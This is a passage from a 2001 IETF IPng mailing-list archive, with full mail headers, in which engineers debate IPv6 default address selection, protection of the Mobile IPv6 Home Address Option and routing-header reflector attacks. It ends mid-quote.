[202.249.10.124]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA03459 for ; Sun, 9 Dec 2001 16:36:09 -0800 (PST) Received: from localhost (47-198-131-12.bellhead.com [12.131.198.47]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBA0a5378833; Mon, 10 Dec 2001 09:36:05 +0900 (JST) Date: Mon, 10 Dec 2001 09:36:03 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Richard Draves" Cc: ipng@sunroof.eng.sun.com Subject: Re: "Default Address Selection for IPv6" In-Reply-To: <7695E2F6903F7A41961F8CF888D87EA80355FE84@red-msg-06.redmond.corp.microsoft.com> References: <7695E2F6903F7A41961F8CF888D87EA80355FE84@red-msg-06.redmond.corp.microsoft.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 36 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Sun, 9 Dec 2001 16:17:25 -0800, >>>>> "Richard Draves" said: > I think the algorithm can be helpful without being fully > deterministic. After all, with different implementation choices > (most of the provisions are "should"), policy configuration choices, > and application override, a node's behavior would not actually be > deterministic anyway. But if the WG wants to add a final tie-breaker > (like numeric order of the two source addresses) I would not be > strongly opposed. I basically agree with you. Perhaps I was not very clear in the previous message, but my point was: - If we cared about the prefix length in the longest matching, we should use a generic length, not hardcoded 64. - The longest matching algorithm is not so meaningful in the destination address ordering. - In any case (about the longest matching), the current algorithm is not deterministic. If we wanted the deterministic behavior, we'd need another rule. And, my preference is (in the appeared order) 1. remove the longest matching rule in the destination address ordering, or 2. leave the document as is I don't care about the deterministic behavior (so I don't see the need to introduce additional rule). Even if we made the algorithm deterministic, it would not be so meaningful. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 17:12:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA1CpvU008915 for ; Sun, 9 Dec 2001 17:12:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA1CpQC008914 for ipng-dist; Sun, 9 Dec 2001 17:12:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA1ClvU008907 for ; Sun, 9 Dec 2001 17:12:47 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA25086 for ; Sun, 9 Dec 2001 17:12:49 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA13597 for ; Sun, 9 Dec 2001 18:13:25 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA21611 for ; Sun, 9 Dec 2001 17:12:48 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBA1ClI06785 for ; Sun, 9 Dec 2001 17:12:47 -0800 X-mProtect: Sun, 9 Dec 2001 17:12:47 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdTRIlxQ; Sun, 09 Dec 2001 17:12:46 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id RAA31742 for ; Sun, 9 Dec 2001 17:12:45 -0800 (PST) Message-ID: <3C140C0D.C43C4B59@iprg.nokia.com> Date: Sun, 09 Dec 2001 17:12:45 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> <15374.26819.630128.842441@thomasm-u1.cisco.com> <3C0EA5C6.ADD01F1A@iprg.nokia.com> <15379.49582.500926.507376@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Mike, > > Hence, once a "weak authentication" method is chosen it > > is again possible to always protect HAO (as well as even a > > nicer tunneling header). We still need a MAC field for that and > > for this there is an easy way. To conclude, dst.hdr is in RFC, > > the new proposal an individual draft so I'd say it could be > > something to consider for a second generation of Mobile IPv6, > > perhaps. > I'm afraid that there's more to this than that. > One of the implications of Pekka's observation is > that the binding cache is no longer a cache. That > is, you cannot evict the cache entry and still > function properly. The reason is not the CoA and > RH which will clearly still work, but the HAO. If > you drop the cache entry, the CN will see a HAO > which it doesn't know whether to believe and thus > would have to drop (or send a binding solicit, > etc). This bothers me quite a bit as going from > soft state to hard state should never be taken > lightly. Hmm, if there is a way to set up weak authentication state in an initialization, it can also be done again, even after expiration. However, this concerns the properties of weak authentication where you may not have a proof of identity the way of strong authentication (e.g., you may need to "believe" the first HAO). A point here was that once weak authentication was considered required, that became the issue, not the format. > Mike BR, -Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 19:37:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA3bxvU009288 for ; Sun, 9 Dec 2001 19:37:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA3bxMk009287 for ipng-dist; Sun, 9 Dec 2001 19:37:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA3buvU009280 for ; Sun, 9 Dec 2001 19:37:56 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA04356 for ; Sun, 9 Dec 2001 19:37:57 -0800 (PST) Received: from ws2.piuha.net (ws2.piuha.net [195.165.196.2]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA02470 for ; Sun, 9 Dec 2001 19:37:56 -0800 (PST) Received: from kolumbus.fi (ws4.piuha.net [195.165.196.4]) by ws2.piuha.net (Postfix) with ESMTP id 5B2FA6A904; Mon, 10 Dec 2001 05:37:38 +0200 (EET) Message-ID: <3C142E05.5040502@kolumbus.fi> Date: Mon, 10 Dec 2001 05:37:41 +0200 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm-u1.cisco.com> <3C0DB6DE.A52D0019@iprg.nokia.com> <15374.26819.630128.842441@thomasm-u1.cisco.com> <3C0EA5C6.ADD01F1A@iprg.nokia.com> <15379.49582.500926.507376@thomasm-u1.cisco.com> <3C140C0D.C43C4B59@iprg.nokia.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari T. Malinen wrote: >> I'm afraid that there's more to this than that. >> One of the implications of Pekka's observation is >> that the binding cache is no longer a cache. That >> is, you cannot evict the cache entry and still >> function properly. The reason is not the CoA and >> RH which will clearly still work, but the HAO. If >> you drop the cache entry, the CN will see a HAO >> which it doesn't know whether to believe and thus >> would have to drop (or send a binding solicit, >> etc). This bothers me quite a bit as going from >> soft state to hard state should never be taken >> lightly. > > Hmm, if there is a way to set up weak authentication state > in an initialization, it can also be done again, even after > expiration. However, this concerns the properties of > weak authentication where you may not have a proof > of identity the way of strong authentication (e.g., > you may need to "believe" the first HAO). I'm afraid Mike's right here. Of course the weak authentication can be rerun, but before it is rerun, many packets have gone to /dev/null because the MN kept sending route optimized stuff with HAOs, and the CN through them away because of the security issue. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 21:17:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5HWvU009406 for ; Sun, 9 Dec 2001 21:17:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA5HWnx009405 for ipng-dist; Sun, 9 Dec 2001 21:17:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5HTvU009398 for ; Sun, 9 Dec 2001 21:17:29 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA00109 for ; Sun, 9 Dec 2001 21:17:31 -0800 (PST) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA02122 for ; Sun, 9 Dec 2001 22:17:12 -0700 (MST) Received: from inet-vrs-04.redmond.corp.microsoft.com ([157.54.8.154]) by mail4.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Sun, 9 Dec 2001 21:17:29 -0800 Received: from 157.54.8.109 by inet-vrs-04.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 09 Dec 2001 21:17:29 -0800 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Sun, 9 Dec 2001 21:17:29 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Subject: RE: "Default Address Selection for IPv6" Date: Sun, 9 Dec 2001 21:17:28 -0800 Message-ID: <7695E2F6903F7A41961F8CF888D87EA80355FE86@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: "Default Address Selection for IPv6" thread-index: AcGBEqh6brjeMC+uTGC9vnHJXEfG9wAJmmx1 From: "Richard Draves" To: =?utf-8?B?SklOTUVJIFRhdHV5YSAvIOelnuaYjumBlOWTiQ==?= Cc: X-OriginalArrivalTime: 10 Dec 2001 05:17:29.0611 (UTC) FILETIME=[F6C1F5B0:01C18139] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id fBA5HTvU009399 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > - The longest matching algorithm is not so meaningful in the > destination address ordering. Well, I think it is quite meaningful. It can certainly go awry (per your earlier example), but I think more commonly it will be helpful. For example, if node A is part of a multihomed site and so has two global address P::a and Q::a (from ISP's P and Q) and node B is connected via ISP P and so has the global address P::b, then when node B connects to node A the longest-matching prefix heuristic in the destination address ordering will cause node B to first try P::a and then Q::a. Rich -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 21:41:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5fovU009444 for ; Sun, 9 Dec 2001 21:41:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA5foT9009443 for ipng-dist; Sun, 9 Dec 2001 21:41:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5flvU009436 for ; Sun, 9 Dec 2001 21:41:47 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA12591 for ; Sun, 9 Dec 2001 21:41:50 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA13702 for ; Sun, 9 Dec 2001 22:42:25 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBA5fiO26268; Mon, 10 Dec 2001 07:41:44 +0200 Date: Mon, 10 Dec 2001 07:41:43 +0200 (EET) From: Pekka Savola To: "Jari T. Malinen" cc: Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <3C13FC5D.6BA3CF2B@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sun, 9 Dec 2001, Jari T. Malinen wrote: > I have some doubt on this being better. How I would understand this issue > to apply is when a firewall e.g. would like to enforce: don't let source > routed packets through but only packets with both addresses in the same > end-host. > > Though the firewall can't know CoA-HAddr associations, it might not > want to enforce these packets only to concern MNs. The same reflector > attacks could also be done using non-MN hosts. When enforcing the above > example firewall policy, maybe it could be less change-requiring to > recommend the host-check rule also for non-MN's (CNs). Then, a firewall > would allow only rthdrs with segments left 1 through. If reflector scenarios > need to be avoided in the domain, end nodes need to enforce this. This because > also tunneling to an end host can be made to reflect the inner packet to > another host. Hence, a format change in a protocol may not be what is > needed to address this issue, a rule in one form or another in the > end hosts might be needed anyway. Inventing a new format could make the > rule look implicit, though it needs to be enforced anyway in an > implementation. > > Comparing to having a new message format, all hosts using it would > anyway need to implement the new format. The host rule for rthdr would > have the same scope of implementation change but with existing protocol > messages, and the change would only be an added check in implementation > of existing protocols, without protocol specification. Does this address > the issue? The problem here is that a random CN host does *not* *have to* enable routing header processing at all -- and is therefore not affected. With current mechanisms, a random CN does not have a need for implementing "interface-local" routing headers, but it could be done nonetheless. On the other hand, MN *must* enable routing header processing. As currently specified, this opens the host to the attacks specified in my draft. The has to be some control on what routing headers to accept, more fine-grained than on/off. Another possible heuristic for accepting routing header could be: if segments left == 1 if the address to be swapped is a home address accept routing header fi else if routing header processing is enabled accept else reject fi This would be more MIPv6-centric and possibly easier to implement. I don't know if there is need for "generic" use of interface-local routing headers outside of MIPv6 context at the moment. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 9 21:47:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5lcvU009491 for ; Sun, 9 Dec 2001 21:47:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBA5lcWZ009490 for ipng-dist; Sun, 9 Dec 2001 21:47:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBA5lVvU009475; Sun, 9 Dec 2001 21:47:31 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA02249; Sun, 9 Dec 2001 21:47:34 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA11940; Sun, 9 Dec 2001 22:47:32 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBA5lSa26295; Mon, 10 Dec 2001 07:47:28 +0200 Date: Mon, 10 Dec 2001 07:47:28 +0200 (EET) From: Pekka Savola To: "Jari T. Malinen" cc: Jari Arkko , , Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C13EA89.CAF04E3@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sun, 9 Dec 2001, Jari T. Malinen wrote: > Pekka, > > The HAO issue you mention can arguably be considered an implementation > issue, taken care by the note in the MIPv6 draft. However, it should be > mandatory. I'll discuss this below. I'll also cross-post this note to > the mobile-ip since you asked it there without anybody answering. My gripe here is the location: IMO, it must be noted in the *main sections* of the draft how home addresses are supposed to be used (e.g. it substitutes the source address in some implementation-dependent way for example X.x, maintaining connections even though the source address would change). This is taken as granted, like everybody would already know what Home Address is supposed to achieve. Security Considerations seems like a completely wrong place to specify the behaviour. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 06:06:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAE68vU010589 for ; Mon, 10 Dec 2001 06:06:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAE68TY010588 for ipng-dist; Mon, 10 Dec 2001 06:06:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAE62vU010578 for ; Mon, 10 Dec 2001 06:06:03 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBAE60q00444; Mon, 10 Dec 2001 15:06:00 +0100 (MET) Date: Mon, 10 Dec 2001 06:25:40 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C13FC5D.6BA3CF2B@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I have some doubt on this being better. How I would understand this issue > to apply is when a firewall e.g. would like to enforce: don't let source > routed packets through but only packets with both addresses in the same > end-host. Sorry, I can't seem to parse the above paragraph. > Though the firewall can't know CoA-HAddr associations, it might not > want to enforce these packets only to concern MNs. The same reflector > attacks could also be done using non-MN hosts. When enforcing the above > example firewall policy, maybe it could be less change-requiring to > recommend the host-check rule also for non-MN's (CNs). Then, a firewall > would allow only rthdrs with segments left 1 through. My point is that segments left = 1 routing headers can be still used to hop between two separate nodes. The firewall can't tell the difference unless it knows all the CoA-HoA relationships for the MNs inside it. > If reflector scenarios > need to be avoided in the domain, end nodes need to enforce this. But the segments left = 1 routing header could list internal routers and not end nodes. So just checking on all end hosts inside the firewall isn't sufficient to prevent any use general use of routing headers. > This > because also tunneling to an end host can be made to reflect the inner > packet to another host. Hence, a format change in a protocol may not be what > is needed to address this issue, a rule in one form or another in the > end hosts might be needed anyway. Inventing a new format could make the > rule look implicit, though it needs to be enforced anyway in an > implementation. My point is that the current format is an overloading which makes it impossible for a firewall to tell the difference between two different uses of the routing header. As Pekka's draft points out this could lack of distinction could be addressed by defining a new type of routing header which is limited to "forwarding" on the same node. > Comparing to having a new message format, all hosts using it would > anyway need to implement the new format. The host rule for rthdr would > have the same scope of implementation change but with existing protocol > messages, and the change would only be an added check in implementation > of existing protocols, without protocol specification. Does this address > the issue? No. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 06:06:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAE66vU010586 for ; Mon, 10 Dec 2001 06:06:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAE66BZ010585 for ipng-dist; Mon, 10 Dec 2001 06:06:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAE5xvU010571 for ; Mon, 10 Dec 2001 06:06:00 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBAE5vq00394; Mon, 10 Dec 2001 15:05:58 +0100 (MET) Date: Mon, 10 Dec 2001 06:14:56 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt To: "Jari T. Malinen" Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <3C0EA5C6.ADD01F1A@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > As said, a nice idea. However, the case of ignoring HAO > is not true; before PKI was not considered globally scalable > it was possible to say we can always use IPsec to protect > even the HAO, which is an immutable dst.opt. Jari, No version of draft-ietf-mobileip-ipv6-nn.txt has required that the HAOpt be protected in all cases - the requirement has only been to protect it (automatically) when the packet also containts a BU option. Thus this issue has nothing to global PKI or not - IMHO it was a poor understanding, partly by myself as a WG co-chair at the time, of the type of attacks that have since become more common and how the HAOpt could be used to facilitate such attacks. Erik > Hence, once a "weak authentication" method is chosen it > is again possible to always protect HAO (as well as even a > nicer tunneling header). We still need a MAC field for that and > for this there is an easy way. To conclude, dst.hdr is in RFC, > the new proposal an individual draft so I'd say it could be > something to consider for a second generation of Mobile IPv6, > perhaps. > > > Mike > > BR, > > -Jari > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 10 09:51:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAHpqvU011683 for ; Mon, 10 Dec 2001 09:51:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBAHpqCn011682 for ipng-dist; Mon, 10 Dec 2001 09:51:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBAHpnvU011675 for ; Mon, 10 Dec 2001 09:51:49 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA09321 for ; Mon, 10 Dec 2001 09:51:51 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24799 for ; Mon, 10 Dec 2001 10:51:51 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA22852 for ; Mon, 10 Dec 2001 09:51:50 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fBAHpoO14976 for ; Mon, 10 Dec 2001 09:51:50 -0800 X-mProtect: Mon, 10 Dec 2001 09:51:50 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdvN7DKc; Mon, 10 Dec 2001 09:51:47 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id JAA32985 for ; Mon, 10 Dec 2001 09:51:48 -0800 (PST) Message-ID: <3C14F633.BE39D4B5@iprg.nokia.com> Date: Mon, 10 Dec 2001 09:51:47 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 CC: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> <15373.6491.371188.449329@thomasm Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > >> I'm afraid that there's more to this than that. > >> One of the implications of Pekka's observation is > >> that the binding cache is no longer a cache. That > >> is, you cannot evict the cache entry and still > >> function properly. The reason is not the CoA and > >> RH which will clearly still work, but the HAO. If > >> you drop the cache entry, the CN will see a 